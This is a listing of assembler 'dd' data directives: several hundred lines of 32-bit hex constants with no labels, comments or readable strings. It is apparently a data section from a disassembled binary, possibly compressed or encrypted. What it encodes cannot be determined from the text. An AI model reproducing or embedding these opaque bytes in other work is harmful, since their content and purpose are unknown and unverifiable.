dd 0A018DD92h, 0A0F7819Fh, 0E7372EF5h, 0E183BC55h, 75F177EAh
dd 4F300C04h, 0ADBA2023h, 0FAA85E90h, 0E8CACE17h, 1EBC2A9h
dd 0CCB38043h, 182DF07Ah, 321B62E9h, 0E83C6866h, 0A6039238h
dd 693D76F9h, 0FDF72A41h, 0BC99885Eh, 524C9492h, 6BA2864h
dd 55899D20h, 0C2FDE55Dh, 54281B38h, 6BD720DAh, 0BBF1801Fh
dd 76830ACBh, 59D18C51h, 0D497052Ah, 13163DE1h, 0A993EF6Ah
dd 0DB23488Ah, 0FDB35380h, 5B5AD988h, 0F119ACA9h, 0E0080C9Fh
dd 0B5963B92h, 0A26F0D51h, 0E5AB18FCh, 25FD8952h, 227F2D5Fh
dd 57748763h, 7878177Ch, 0CC6880FEh, 4FD32A19h, 0DDEBBFFCh
dd 8C48A7FFh, 0B66CEC5Ah, 8158450Dh, 58F79BDh, 0E37F40FEh
dd 0BA51AD4h, 61984C3h, 0D5BAB4DFh, 0C6AB818Eh, 0C7E305Dh
dd 0C34BEBB7h, 64446296h, 3000997Eh, 720459CEh, 28DD0E02h
dd 66832CF0h, 0E9D1B551h, 0FDA9D2BEh, 6D60A380h, 0F7F81AA6h
dd 22EF714Ah, 9BD84008h, 1835BA04h, 0C7EA04F1h, 0D2B4D2DBh
dd 2C76737Fh, 96AC092Ch, 0FE90267Bh, 40717550h, 0BE0556A3h
dd 102A0C1Fh, 3134C7AAh, 42BA52E8h, 0A743010Bh, 6C2D6A12h
dd 0B35F24B7h, 4C581Ah, 4A4239A1h, 4F3DDB05h, 24D6E07Ah
dd 0C14ED99Fh, 22575868h, 0F370330Dh, 0F8B8BAE7h, 0CBB8D3BFh
dd 5BDC4FFFh, 0B7799D56h, 6844E9C1h, 1888F37Bh, 212340BBh
dd 0DECDD0D9h, 4039F524h, 6D0903A8h, 4C0183A0h, 29121F16h
dd 5C6B41EFh, 6143A6A4h, 0F1F27BB8h, 72E1022Dh, 49E62F31h
dd 0F4E5C114h, 74979C18h, 0C718805Ch, 16E62890h, 0B76880D6h
dd 71BD574Fh, 3B060894h, 96125F77h, 0B0019401h, 60C8E966h
dd 68BE34h, 31342B10h, 0C2835FFAh, 11B014Ch, 7CCF1FB4h
dd 5730E9D1h, 4EA7F69Eh, 0C0CEB103h, 0F5B04DA1h, 0D6397F05h
dd 3E830929h, 0C73C0553h, 0C8613C76h, 0C302670Dh, 20E9D0A0h
dd 89627C9Dh, 7627F60Bh, 0EA83125Dh, 61C29E80h, 0C051FA2Dh
dd 852C6E98h, 0C7A244EBh, 46058204h, 0A3BE5928h, 88648533h
dd 574C9F05h, 0F2692CB7h, 9F899CFFh, 0E12DC1FBh, 0DB29DB4Ah
dd 360B4525h, 0E985F17Bh, 0D50A449h, 0A66409FEh, 75447869h
dd 0CC1D18F2h, 2AC21173h, 60611970h, 0ED72A30Ch, 37E2C03Fh
dd 25F55805h, 0B2B6CD1h, 524C7DE9h, 5F6C1E53h, 0F0214F13h
dd 0FCA0D9A4h, 4C82E424h, 7875097Ah, 0BE28F20Eh, 0D8E3943Ch
dd 0B62A4307h, 9B80D26Dh, 9F502CC4h, 81ED10D3h, 0B391EB5Bh
dd 0E3A4BDEh, 2D6029B2h, 498515Fh, 254CD8EBh, 0DE9505F6h
dd 1893398Eh, 3C2CA66Dh, 4AC5AEDFh, 0DF408709h, 5B5F0FB2h
dd 0B0E98661h, 511280F8h, 27B87668h, 0DE25CBD0h, 7DA5B67Ch
dd 0C1F36A33h, 96F0E8CCh, 0AF10D6B8h, 0EEB50B16h, 0AB82DF80h
dd 0AC59852Dh, 4C8EB16h, 5E6740CEh, 52ED535Fh, 85BC34Ah
dd 5862E2B2h, 1B90B281h, 2AE2FA8Ah, 0B455972Bh, 25E2B63Ah
dd 80FAE5FDh, 5840F609h, 0C0606EE9h, 0D047B248h, 7602B7EAh
dd 5804156Bh, 2DC92CABh, 82347C6Eh, 0F7A269CFh, 0E12070EEh
dd 0D3B804FEh, 0FF013B19h, 5D420FB5h, 546B0E53h, 9D136655h
dd 6C2232CFh, 53E9540Bh, 246DF561h, 3D558908h, 959F79D8h
dd 734CBF7Eh, 0C03D5Bh, 8875B7B4h, 805BFC07h, 0C430DDECh
dd 590CE96Ch, 1E076C31h, 0A2279502h, 73D79AFEh, 2CD20C11h
dd 0A3BCC787h, 452DD427h, 4217B15Ah, 0F50BA338h, 0DA4AA80Eh
dd 24D9AFE8h, 9AB0908h, 2C84F186h, 76B6006Bh, 0B559EE30h
dd 501D1FD8h, 0DC4AAFB4h, 333DD6C0h, 1CFFB2D4h, 511F40Bh
dd 0E8CAE9E6h, 0D0F712FBh, 0AA4FED01h, 6A908A8Eh, 0D7502DF4h
dd 21F999BBh, 0C3447A77h, 0CCBE7244h, 0CB6930B3h, 9D18D22Eh
dd 0E9044D65h, 38ED3B62h, 0B2E4302Ah, 0DC681201h, 13CACC5Eh
dd 1AAB4249h, 505AAD7Ch, 34D6977Ah, 0D3645772h, 4C3A681Eh
dd 88E94B30h, 0BA40C354h, 0B82D9A3h, 5F7F70DDh, 0C9E561F8h
dd 1B85040Dh, 7BB3C002h, 5938540h, 2FB8724h, 0A1BB62ECh
dd 0DD252FF6h, 0E581C029h, 0D1A009AAh, 301A8901h, 638EE8BDh
dd 7D161613h, 8525029h, 31B1394Ch, 80CF60CBh, 575380h
dd 9C35DBBFh, 0BACF8104h, 15374512h, 0EF541CFAh, 470848C0h
dd 87C713C0h, 0B72FFC1Bh, 4B7ADF78h, 962CB01h, 0C3E91F63h
dd 0F22BD035h, 202DD289h, 188CF66Fh, 0F3D37C78h, 0FC1309A7h
dd 0CC21434Dh, 6A5F0F88h, 0A0BEC3C4h, 2613E11Fh, 0AD04237Fh
dd 800FD0F2h, 0F16001CEh, 66D9F613h, 28EC5E90h, 64E0E148h
dd 0ADAAAA1Ah, 20864C1Ah, 6E6812F4h, 0EF143430h, 127537E2h
dd 43ADE90Bh, 282F0544h, 5ED112F3h, 1C56266Bh, 0D62F4385h
dd 7164CF4Fh, 2CDDAB7Eh, 6DB0D4EFh, 0EF81024Fh, 5E98AD3Bh
dd 0C405ACA0h, 4DB1170Fh, 20F10720h, 0F74D9C91h, 3FDA507Fh
dd 1B053002h, 60CFC0B3h, 2F26F5FBh, 3554508Ch, 585B08A0h
dd 0ED3F6CD9h, 99EFE490h, 0DB5F3CE6h, 98128018h, 0F9012836h
dd 0AA0883C8h, 5F74C9D0h, 966BF7ECh, 3D358BC9h, 5569C5F6h
dd 82E98E51h, 827CD288h, 0B5CDE06h, 94F67200h, 27602862h
dd 9E69160Ch, 0F1E9160Eh, 5591F4CAh, 6198F49Fh, 4C3FA068h
dd 0C55888EFh, 19442DC2h, 6780DFB4h, 4002E0C1h, 45241A05h
dd 0C602AD97h, 48D52AE9h, 95260B16h, 0F7253167h, 72900716h
dd 0DB1BDA2Fh, 7AE40BD3h, 6DF79B30h, 11AD3BE1h, 0A2E2FBB4h
dd 89366196h, 487938E9h, 601F5E0Ch, 0FA29B5C2h, 4405D7Bh
dd 0CD1A8145h, 606A3A7Ah, 0F82B70FBh, 1FE9185Ch, 76B8347Dh
dd 340F82F0h, 6BA38E05h, 5FED89CBh, 2A2A0743h, 4A29875Bh
dd 0FAACA46Ah, 630B6F81h, 2445E9h, 32015858h, 0FAF51617h
dd 3FD00866h, 6D27C9B4h, 3E57D441h, 0D45004E7h, 0A1EB568h
dd 0D67F0C2Dh, 0A500C98Ah, 2E3F7E07h, 1E2050B7h, 52FC0AEEh
dd 98D9AE5Ch, 80DEF530h, 3B7B35B8h, 142D2B07h, 11EB33B7h
dd 0F2E28B51h, 12045F4Ch
dd 3FB3FABBh, 0EFAE04A4h, 20500998h, 0E80F450Fh, 0D8FB9777h
dd 0D0422C45h, 0D5BD23FCh, 6AECA4C0h, 0C5F1430h, 4C2D077Bh
dd 0C300C36Dh, 0C14B9D4Ch, 0C89503E3h, 4D77FEFh, 0E7E94544h
dd 0FA5E0B01h, 2D54203Fh, 8045B20Fh, 0D330A5C2h, 11A0C2BFh
dd 0FD28097Dh, 232B8E8Bh, 60709158h, 29A60D0Fh, 634EE6DDh
dd 9D0BB71Eh, 52E6EAFFh, 20A508B6h, 3E0E53D0h, 18FDCC11h
dd 7C5E3974h, 7CD9F71Fh, 0D0490712h, 7B26FCB2h, 0F1092976h
dd 808340FEh, 491BED45h, 10E1636h, 0A1FA13CDh, 92407294h
dd 5EE8F1B4h, 0D3E5ADBCh, 0A91258E6h, 0D4C6BD30h, 695607BCh
dd 0F2C31820h, 130D5954h, 24E3E90Bh, 92685CD4h, 928EB90Bh
dd 0A33B43AEh, 0FA31B25Dh, 0C5524477h, 0DCAB584Bh, 4826E987h
dd 0F4A70E18h, 0F9A18B59h, 55B49A5Dh, 0A65CBFABh, 4E03042h
dd 0D5D8FA5Eh, 7D1509EEh, 0F27E32E2h, 529708A0h, 0E3F3B503h
dd 1B62D649h, 0EF8D59C7h, 25E9E53Ch, 9F531C68h, 0A895F727h
dd 46A25C98h, 33E82F25h, 880FA7Ah, 7B5A94E9h, 0CF583CBAh
dd 0B0404F41h, 5BD83C76h, 56BF52Eh, 54D70408h, 5AAC13BFh
dd 8EE6FEA5h, 0AE53A634h, 8BD010h, 81FCDC80h, 254C25EAh
dd 887F6E1Fh, 5812088Bh, 27D7CBBFh, 842AE501h, 0B3315268h
dd 948A126Fh, 0C7359390h, 618355Eh, 0F66A040Fh, 0D2F4AF39h
dd 0FF5D4B5Ch, 6475E771h, 0AA3A7A35h, 18F69400h, 90452BC9h
dd 38D70672h, 210963D1h, 37B2F500h, 66E91C31h, 98CAB286h
dd 1094382h, 230CDCBBh, 0CBF95618h, 3090CCE6h, 0DA75D846h
dd 730ABE5Bh, 0E1D2BBB3h, 0E6330D02h, 7FCA7F46h, 0C25A0804h
dd 35F15EFCh, 0B3F976Ah, 0FE4E7068h, 0FA86C9B3h, 5948F19Dh
dd 1AD304C9h, 0B0011CB5h, 0D83C4047h, 42260DCAh, 0C201A927h
dd 3DD0B58Ah, 0C167B02Eh, 4105EB2Eh, 0CFA05B2Ch, 135A5BB5h
dd 0A0152153h, 0E4CA683Ch, 6788C9ECh, 275E520Dh, 0B11243E8h
dd 3552FEFh, 7D8F6B1h, 20540404h, 0D124EFC1h, 0B4199852h
dd 3980CE3Ch, 7AC48497h, 1AB818E9h, 0F3003A58h, 2D5A5E17h
dd 0EE01C350h, 26D80D23h, 8560357Ah, 8441B5h, 5673B8Bh
dd 7D850350h, 557B2D13h, 2F62C208h, 16828076h, 7F0FDB6Dh
dd 0C5E9AF01h, 0B2446B6Eh, 5709663Ah, 2E4A3200h, 0ADB8414Ch
dd 8254E40Bh, 0C6A0206Ch, 4BFB1455h, 4D0AB15h, 0B420644h
dd 7D05E9DEh, 0F680F327h, 341806D5h, 0D10ACFFEh, 5BFD0130h
dd 0FAE95066h, 43A33A0Dh, 0E2CF2985h, 0DF004EEBh, 2A7545BDh
dd 0B32BE90Dh, 279C483Ah, 4FA25E5Dh, 0C1B1B2F7h, 1D781E29h
dd 0BA1CC52Fh, 98003B13h, 0E972A657h, 0BC9AC7h, 0C05051BAh
dd 241BD12h, 0E21A4D2Dh, 1015FEBh, 2B096853h, 57C4B2B8h
dd 0B146C8BBh, 39AE583Eh, 463BA768h, 9AD816B4h, 901C5270h
dd 0CCF2C170h, 890D170Bh, 3D6D77C8h, 3394DFA5h, 0EE4E7997h
dd 0D6ACC26Eh, 5603E6Eh, 1F2FC641h, 46C9027h, 0FD4F5DEEh
dd 65E7C77Ch, 7C43FC70h, 35C3D0Bh, 0A1A127Eh, 80166E08h
dd 5B0347A3h, 0D7F7FE87h, 3B480860h, 0B813B052h, 0CF5441EFh
dd 2AC2D5B1h, 129E6089h, 4158A0ECh, 3AB42F20h, 3DFB82D4h
dd 4E2ED5F3h, 0B08423EFh, 0E8A0FB46h, 0D6216AA3h, 40E10151h
dd 40102824h, 0EBA4ED92h, 4EE9483Eh, 0F2BBC184h, 490A489h
dd 2F5B2005h, 6CC422Eh, 92697222h, 6A920B8Eh, 7D892CFBh
dd 5FBCC540h, 0AA6C0480h, 6FA381DEh, 98828701h, 78FE95C6h
dd 0F464E2F7h, 0EA80073Ch, 0D43B8411h, 0AE2FBEC3h, 4CD0004Fh
dd 0E915616Dh, 35CCB44Eh, 2BA63D2Dh, 0D0014B05h, 5A070905h
dd 79CC0257h, 492D0080h, 1B5053F9h, 5A5A58F5h, 12D149Ah
dd 4C137622h, 0D8626802h, 6B5FF453h, 67FF145Ch, 0EE1009F3h
dd 459DB57h, 0F91C4721h, 4BE584F8h, 0AC678CFBh, 317430C5h
dd 431661BDh, 0C07D247Ch, 0B25CBFF5h, 685E2805h, 32EB3819h
dd 0A9F27EC9h, 9CF2C307h, 2B4FEEAh, 0BE4E2CA8h, 965F0528h
dd 0AA31121Fh, 0A043E4D1h, 0A01DFD6Ah, 245BFABFh, 800B3Fh
dd 2E387AB7h, 3BEF4FE9h, 0FE4B38E3h, 91EE1813h, 808FE910h
dd 73EB8149h, 0EC3E0C49h, 1F21EAF3h, 25D17DB6h, 12D295Fh
dd 1C20AF90h, 0E8C19D70h, 0D4295C54h, 0A109A82Fh, 2CE1B102h
dd 53F80740h, 0DD2FB725h, 319D8041h, 32C7C9C2h, 265F32C6h
dd 52C9D65Bh, 0C05EC7F8h, 2FBB29AFh, 98C28AFh, 0B3BBDCA8h
dd 3CBD6704h, 0C4BEDBF7h, 8C4EC49Bh, 8909DAD6h, 5DB1E9D3h
dd 3E9E308Bh, 0ADABEFB7h, 57A2A457h, 44C4BC2h, 85B9C0BEh
dd 3CF6465Dh, 8710DC97h, 0B9360A91h, 28D89C00h, 71E54A09h
dd 4BB17A5Eh, 485E2CE4h, 855B7094h, 0B4CFEBDEh, 3FFE6809h
dd 0EB73D6C6h, 0B24B186h, 8E710C74h, 0F8416702h, 82A4502Dh
dd 68BD2107h, 5D26557Ch, 3EA86310h, 2DA0525Ch, 4E106108h
dd 8C9AC43Fh, 5B606A94h, 0B850F12h, 0B05F9560h, 0B695E983h
dd 665707AAh, 0A206C7BFh, 0A477BC0Fh, 0A680086Ah, 9DF6568Ah
dd 680CACF0h, 1864797Fh, 0E7511FFBh, 6DE50261h, 0BCD00632h
dd 64409E6Ah, 2CF1D313h, 0BF2B9A0Dh, 0D817F02Fh, 8546E2B3h
dd 27BBF303h, 5C1182D6h, 320C6655h, 0D3101FE5h, 497F610Bh
dd 0A44632A7h, 8ED9682Ah, 0D0B4F49Dh, 50A02CD6h, 0E6120913h
dd 5F524304h, 0EAE4ED05h, 909F7FEh, 0D410E268h, 4C84D248h
dd 247CC9FAh, 735E2226h, 0BEA7C0CCh, 0DFF70913h, 4E505Dh
dd 0F5472786h, 2D5FF809h, 37011CF0h, 0E9C10148h, 0FF2EF75Eh
dd 997E4C2Dh, 31AE3B9Fh, 32BA4356h, 66270785h, 5CB32022h
dd 0F3EA8486h, 0D9EFD7FCh, 8808A0A4h, 0C0C58C4Eh, 0CB37E6BBh
dd 50ED05EEh, 946202C8h, 83B83435h, 1A00877Dh, 0A6231BBFh
dd 1FC7816Fh, 0DB88E5CFh, 8AA1FC01h, 0BF34801Eh, 3F6530A0h
dd 99E49F89h, 7B3461B7h, 0B7D8A86Bh, 91668F5h, 40115EF0h
dd 6B904D6Ah, 68E10E0Fh, 5673869Fh, 8E6CB618h, 0BE9DEA0Ah
dd 40FDAAF6h, 2D53CDEDh, 82D535F1h, 6662F792h, 9FA4F014h
dd 38F6903h, 3F0E3AF9h, 924A2841h, 492A4C1Eh, 0D7C1984Ah
dd 804A9C30h, 0CA3FF3FCh, 2B401738h, 52DE21ACh, 541A4752h
dd 0B66D725Bh, 974E14F7h, 0B32C88DEh, 0C04555A7h, 46FE983Fh
dd 0BC55580Eh, 0A87EC2B7h, 1C566801h, 0C8CF907Ch, 59424BDEh
dd 8D45827Dh, 750ABCh, 603D4FC7h, 6828FD5Dh, 0FA78270Ah
dd 0B928C382h, 0F81AAD2h, 2F61CE81h, 2C852B7Ah, 102F76E5h
dd 0BF16941Dh, 20DAF605h, 0E54DFDEDh, 18EA4881h, 39608E3Dh
dd 20841C7h, 135C14F2h, 0F7CB7F4Bh, 3ABAADE9h, 0A4E31C31h
dd 0CBCA119Fh, 4E5F9FF9h, 532DC936h, 18ABE2A0h, 0B6A127E0h
dd 25122AAAh, 0F21F3AFh, 0E405B450h, 8BDA6C6h, 35F0310h
dd 20478F58h, 94065F81h, 6EE6FAD6h, 0C66C7715h, 8C2C4313h
dd 1E0390C7h, 0D4E9411Bh, 2E2510DDh, 0C32F7A2Fh, 4EAE224Ah
dd 93A965B1h, 47085ED0h, 3BC70858h, 0EFC00D80h, 52076603h
dd 0D7287CB2h, 0D22C5A61h, 107019C9h, 0C4CBE904h, 52C0BBACh
dd 0CE80B2B6h, 0C6304573h, 0E9440619h, 4E65B239h, 96B8E756h
dd 60FC8AB4h, 0B0EBADEAh, 0C9A2AB3Fh, 0C82037D0h, 9476BD51h
dd 0A70F191Eh, 4BCBA474h, 493E3A3h, 0B7D1529h, 0FF108B5Dh
dd 65B33FA5h, 0E9B3D0A9h, 4FC003C9h, 5B2035EEh, 209A9206h
dd 0EC808BC4h, 6070B195h, 22FFE148h, 0F524B5AEh, 4E26FC2Bh
dd 1915AA8Ah, 7612C178h
dd 0C5324746h, 0BC91D502h, 28BE4BECh, 6F604C61h, 3BBCB90Ah
dd 512E329Bh, 3472FE32h, 56C1350Fh, 0E29969A6h, 65EDFF19h
dd 85D1E905h, 0AB45C91h, 1DCBF66Bh, 26941DE5h, 31EE0BA8h
dd 0EA8005D0h, 28E114C1h, 7CB9E22Eh, 7E27F2B6h, 1657E9ADh
dd 0E6C06275h, 11C687D6h, 57516812h, 948F336h, 47093E1Ah
dd 0EC73308Fh, 48ABC6BFh, 15F136Eh, 175B01D3h, 0F97C4A72h
dd 513A7C64h, 38BE2B0Dh, 655E7A16h, 0FA2E32AAh, 27FD36Ah
dd 923516h, 0C4C2C6B8h, 8D31F524h, 9F9010Bh, 0D00E0B30h
dd 0D359144Eh, 8F20E2E0h, 3E196816h, 1FD3FF37h, 881A34CEh
dd 51C2AA42h, 3C565752h, 6905FE12h, 0CBAE9CE2h, 17AB4C8Eh
dd 0DCA57E28h, 0F2F8D63Eh, 0A32D2CEEh, 8B805D14h, 983DD1C3h
dd 448A2D51h, 1C081A9Ch, 0C9D01709h, 9AA693B5h, 0C15504E8h
dd 3E967211h, 0FDEE2224h, 7271275Ah, 452025AFh, 0B024C55h
dd 44396EC1h, 0E90A46AFh, 30892808h, 0DA33E4D1h, 4916D44Ch
dd 7713C701h, 0EE80FBF0h, 80989B95h, 0EF30BBB5h, 7E5E51E9h
dd 499F1375h, 9E1BE90Dh, 5404272h, 97E07855h, 0E91734F2h
dd 98BF616Ch, 0D4910178h, 4DF7E601h, 74821A25h, 193F094Eh
dd 0EB2987DDh, 0D8280058h, 8368FE04h, 7D9D4970h, 0B4028B1Eh
dd 30B6B75Ah, 566B62E7h, 0CE562DABh, 9AF2E978h, 0B70F1E46h
dd 58470BC0h, 4668FC29h, 5F80B81Bh, 4658BF5Dh, 2B9A257Eh
dd 0E809EF98h, 5749B129h, 32FDCA68h, 8B80B262h, 0E408049Bh
dd 444038DBh, 348D0BB8h, 0ADF7DEDh, 0EA1707BEh, 9766BFA0h
dd 8D4DA004h, 4D007AD0h, 0BA64D007h, 5E64B81Bh, 0C12C817Ch
dd 0B7760E2h, 0D5A662B5h, 43CBD433h, 89EEC171h, 0BF0279B4h
dd 0E0E57301h, 4D8EFF8h, 0E93BB536h, 3481F554h, 425B70D7h
dd 75EE6092h, 505E5950h, 41436DEEh, 6BADC7F1h, 0A51538ADh
dd 0B731B922h, 20DE8991h, 693168B0h, 6E6D1D1Bh, 0ADD3AB68h
dd 0EA942426h, 2F0BC4A8h, 7D4A7D60h, 0F2A3006h, 0BD66D09Fh
dd 7595219Ch, 3E053E99h, 0B24002A8h, 274C9B52h, 59B8AC68h
dd 2110562Eh, 9D72F827h, 4A0553Ch, 190E72EDh, 40202510h
dd 0D8F730B9h, 0F9DDA040h, 6D6E2503h, 32052680h, 2E5C3B54h
dd 0C6942FCCh, 0EC254D4Eh, 5EAAA140h, 0C925B33Fh, 160507Ch
dd 20FA6851h, 0F1591F39h, 40B7AF1h, 9FEBF591h, 7BF3C2B7h
dd 0DE255771h, 55581657h, 0AB921881h, 0E9099DE2h, 71776978h
dd 19C56AA4h, 2B8D8D62h, 2F7BABCAh, 26CA2F24h, 1C311360h
dd 170C2158h, 71D82A68h, 8F30019Ah, 2E3C177h, 0D1C0704Bh
dd 0B5476CB7h, 2BD00FE3h, 12C6BF2h, 0DE045AEBh, 5D814B20h
dd 0B26E8B21h, 6A13D2B5h, 0D12DBDF9h, 844F8974h, 23EA3583h
dd 2F2D87EAh, 0DF576ACCh, 134B2702h, 0E97957ECh, 0DF18BB5Ch
dd 0F914DD2Dh, 5968570Bh, 0E4F35929h, 0C2DBB25Fh, 0C0C126B4h
dd 80452AC1h, 5A1DF488h, 4467CCFEh, 9DF37398h, 0E213A4F8h
dd 0E728C828h, 2AC39FF4h, 1EE953C8h, 0DD9D4770h, 4E31C718h
dd 0F2EEED86h, 0C7A3A1F7h, 5E37923Ah, 5A18317Dh, 7032FA2Eh
dd 251A7E56h, 0FC40ABFCh, 9F3CA211h, 0D0856189h, 3A9CAA2Eh
dd 0FD5E27E9h, 282D0D48h, 0C375D375h, 19697DFAh, 0DDDE80AFh
dd 76245C8Ah, 86C6F02h, 0E827598Bh, 5BFAA3EFh, 0F1A8265Fh
dd 0EBD5F616h, 2C050556h, 0F3BED9F1h, 0FE297A75h, 71A5DF94h
dd 0A3923EBAh, 0AFF65657h, 65F2DA71h, 56D8737Fh, 6C53BDE1h
dd 0DFBF97A8h, 7C581A3Ch, 0C22E5519h, 0E568DAA9h, 2C2D1BE6h
dd 1F97893h, 341CB4DCh, 7575E7E9h, 6E3F4149h, 0C306075Eh
dd 15D69573h, 697EC454h, 2795E3CBh, 0FD5C7070h, 1A128A67h
dd 869B9167h, 5C96294Eh, 78960778h, 0FBE277FCh, 1D6802D4h
dd 60ED765Fh, 0F2B83599h, 8BD829BDh, 3CB4FD8Dh, 746E74BFh
dd 6ADD20E7h, 457A6F64h, 0DE418382h, 2368E1C5h, 0A4CFB866h
dd 0F28E35B0h, 4AF07695h, 37D35A0Dh, 0EED92501h, 2DB9FD31h
dd 9D69068h, 534043ADh, 0FA78895Fh, 0F7C49175h, 4BB5AD7h
dd 0F49A786Fh, 12093155h, 0D2532E03h, 17E10B2Fh, 1C5C2C8Fh
dd 2BE65525h, 2A99544Bh, 254FB600h, 0C1D6FA2h, 387124A2h
dd 191E72C0h, 0F3D1A2Fh, 6808D4BFh, 602D141Ch, 5215495h
dd 67E95703h, 0E831AB3Ch, 0B00060F6h, 0C54C30D9h, 0EDC00B2Eh
dd 2B2F0B06h, 1EA1F9E9h, 0F297B08Eh, 0CC1B54B9h, 0C8F821C4h
dd 1D70F9CFh, 9E876780h, 574193E9h, 17CCBA0Ah, 80E10581h
dd 168D353h, 320167F1h, 38BED5F9h, 50582731h, 0FA3B6EBh
dd 45CB5B66h, 9A85C12Fh, 8FA6FE3Fh, 4DAA0D00h, 4C2D6D18h
dd 41D82312h, 0D158E002h, 0D55C5DE5h, 8D1358B5h, 0BE4E58A2h
dd 0BC5BD4DEh, 7768E1FCh, 5A71E22Fh, 0DF586572h, 0DCE2D759h
dd 990886h, 4059B9C6h, 7E256835h, 41ED7275h, 782A685Ch
dd 500A9F20h, 0BCBE64Eh, 9196533h, 8106C5FBh, 125AFBF6h
dd 25BA68FDh, 0BFB117C5h, 5741D06Dh, 60079F3Ch, 32506856h
dd 14011727h, 0F2892D22h, 747A7B5Ch, 0BEFDF3B5h, 87037DCEh
dd 31DDF7EAh, 8D526A7h, 7210E90Eh, 0CBBA32FFh, 0C5305926h
dd 9BFEB9DBh, 0DA2F2DBBh, 99C1025Bh, 905E2A1h, 4BE72157h
dd 0E0CEB210h, 9511A036h, 0C2098246h, 6762F60h, 5D30E84h
dd 501844C3h, 2B0A835h, 29013197h, 1982DDF7h, 68016292h
dd 86337DD1h, 91097F58h, 0E3003F32h, 454D54CDh, 23C5840h
dd 0E90ACB70h, 47D448EFh, 7D01C262h, 2F667E42h, 576F682Fh
dd 0E858DB19h, 0F1CD4686h, 0EA2B78FCh, 0EA2F4429h, 0C4B05C31h
dd 421C9832h, 22695635h, 7154F209h, 7549632Bh, 0D425F65Ah
dd 6911FC3Dh, 5CCF29DFh, 0B620B4Ah, 740B1976h, 92095687h
dd 5C7C29Dh, 0F5164ADFh, 96DE2F02h, 442D61FAh, 7700929Ah
dd 9726954h, 246CFF81h, 7FB3D16Bh, 9E225A4Ch, 94F205A8h
dd 0B88068C8h, 0C283260Ah, 0E1B3E90Bh, 0F121FE62h, 40C34820h
dd 6819AD41h, 604B1AE6h, 4048CE28h, 0A08EBD4Bh, 985BD831h
dd 0A23D4E14h, 0A7148BE0h, 5D5B5D43h, 9EAB81B0h, 76C6A9D0h
dd 5AFB7A14h, 7F228A8h, 3E505B31h, 0F9074AF5h, 0EA73E02h
dd 24B4A5Ah, 3FAE39BBh, 17BA7221h, 53171016h, 644390E9h
dd 0F9501625h, 0D3D8486Ah, 20CC2752h, 5013DDCh, 417E7788h
dd 9931E861h, 0EA078A62h, 8C1A25B8h, 1804370Ch, 0FA014AB0h
dd 8133EC4h, 5F7A8900h, 1305130Eh, 40BC63Eh, 9236ED42h
dd 7462F754h, 0B566107Dh, 0DFCB95FAh, 30647E88h, 18BA5205h
dd 4FC2BC54h, 0B155E881h, 1807856h, 59CA2847h, 230C8E68h
dd 7BB70387h, 9804E7C0h, 65FE06EFh, 50287CCFh, 171882BAh
dd 0C8C7D11Bh, 0BD036B13h, 3A1BF1ABh, 16D3A4F2h, 0BA0E8454h
dd 5081B265h, 0CA7B5EB3h, 0C7F6035Fh, 252B96Dh, 8E13BDE8h
dd 0E86A316Ah, 456AFDF1h, 0EC5B9C10h, 0F40137CFh, 88C0825Bh
dd 9E227570h, 680775CAh, 0B7E80294h, 33222CC2h, 7FDA1340h
dd 8447C181h, 5F07184h, 2FE2BDh, 0F5813B59h, 1E9814D4h
dd 3390759Dh, 34B0E5C1h, 4713CD7Ch, 5F0F521Ch, 30937D6Dh
dd 625AA700h, 0EC013656h, 0D6BF0B57h, 0E05D5310h, 13D0EFD7h
dd 0BBC5568Ch, 78645E49h, 6FBF997Dh, 8807CFC5h, 4C5B5650h
dd 93F779ABh, 0D28B6D26h, 8724E048h, 16E442E4h, 85A9B22h
dd 25E80EB5h, 5D002DC9h, 27E1B508h, 0D82B0CB5h, 0F7023B15h
dd 0E196BA4Eh, 5E65B510h
dd 201172A5h, 8380F406h, 87015849h, 0A7B9BA31h, 8A21CE78h
dd 70C48007h, 0D6F6011Dh, 7ED5E680h, 943DA6F6h, 697399CDh
dd 148206A4h, 84098173h, 2FE34FD7h, 40E09740h, 0D377F66Bh
dd 58F1DD64h, 30D8BCEFh, 52500D56h, 88D013B2h, 85C3B9D4h
dd 0C1E27195h, 18F7E507h, 24AB3F89h, 3CC355DAh, 0B4D0280Eh
dd 0EE48C281h, 0BC35124h, 5E3C158h, 5B1E755Ah, 0D7EC937Bh
dd 0D1BF282Ah, 86DC5A1Ah, 9A22D76Bh, 22753B04h, 0B3C56CDh
dd 592F9EE6h, 0EFB0DA47h, 0EC228ACDh, 0BDD5C07Eh, 6F0D5D08h
dd 0E10B5F90h, 0F44F105Bh, 5172801Bh, 0C6E93736h, 68014091h
dd 7841206Ch, 0E0CE88Bh, 0B510FDEh, 0CE0BC955h, 0AC84F77Ch
dd 5B6FF0D0h, 8CA88B5Fh, 5E954E0h, 0CD2084B4h, 49687609h
dd 8867793Eh, 8AA00EC4h, 50D2B204h, 88317B0h, 413A25F1h
dd 0C8B508F0h, 178EAD70h, 0AD29DC01h, 5DD80737h, 0FAE303CCh
dd 0C7BF2773h, 77FD5852h, 715F7A99h, 880D65EFh, 975A251Bh
dd 3AB34C44h, 96725EEh, 94FDA64Bh, 58C625F6h, 0FFA544F9h
dd 0C1B5094Eh, 59086830h, 0D596DF9Dh, 82521096h, 0D79A6E09h
dd 72A05330h, 5492B9B1h, 264BB3AFh, 833CBB56h, 0BE45A776h
dd 760B5038h, 0EB7E0922h, 887F292Bh, 3E280816h, 7207BF07h
dd 0E7D33860h, 606CB2D3h, 14EBEF96h, 0BECF18F8h, 8428FC4Ah
dd 70FA5146h, 56DB689Ch, 2EAA3BE1h, 77404BFDh, 0DEB78EB1h
dd 0E7680266h, 390DE965h, 1788ABFCh, 19B90188h, 2F62CC18h
dd 50E201C1h, 512E8204h, 9882FE57h, 84C2A0E1h, 470FD7A4h
dd 6530F743h, 88ED4FFDh, 0BF7046D0h, 41E8B092h, 5CB753E1h
dd 0A5FFC97Fh, 4FC9C616h, 14F05E61h, 763C7E90h, 0CE14950Eh
dd 3670E6F8h, 0FA947CB5h, 68571EA0h, 71364BDh, 0B6AB5F02h
dd 795F7E07h, 27785BA3h, 0DF7C295Ch, 5FBDE958h, 2576BBFCh
dd 0DB574873h, 1FBD55B0h, 4FE14B1Eh, 3A0C2D66h, 5B2C42C6h
dd 0DEA5A08Eh, 0D32D8C94h, 0E96841F6h, 0C0CC3B26h, 516F5588h
dd 0BBB3652Bh, 0CBC13721h, 0FA64BB05h, 27F5F4C8h, 0ADF07274h
dd 6D420143h, 0BE80F15Ah, 97F30007h, 890148C0h, 23E916DAh
dd 2F0EA265h, 7D9812BEh, 2CE91DE8h, 0B82600B5h, 0F411DACh
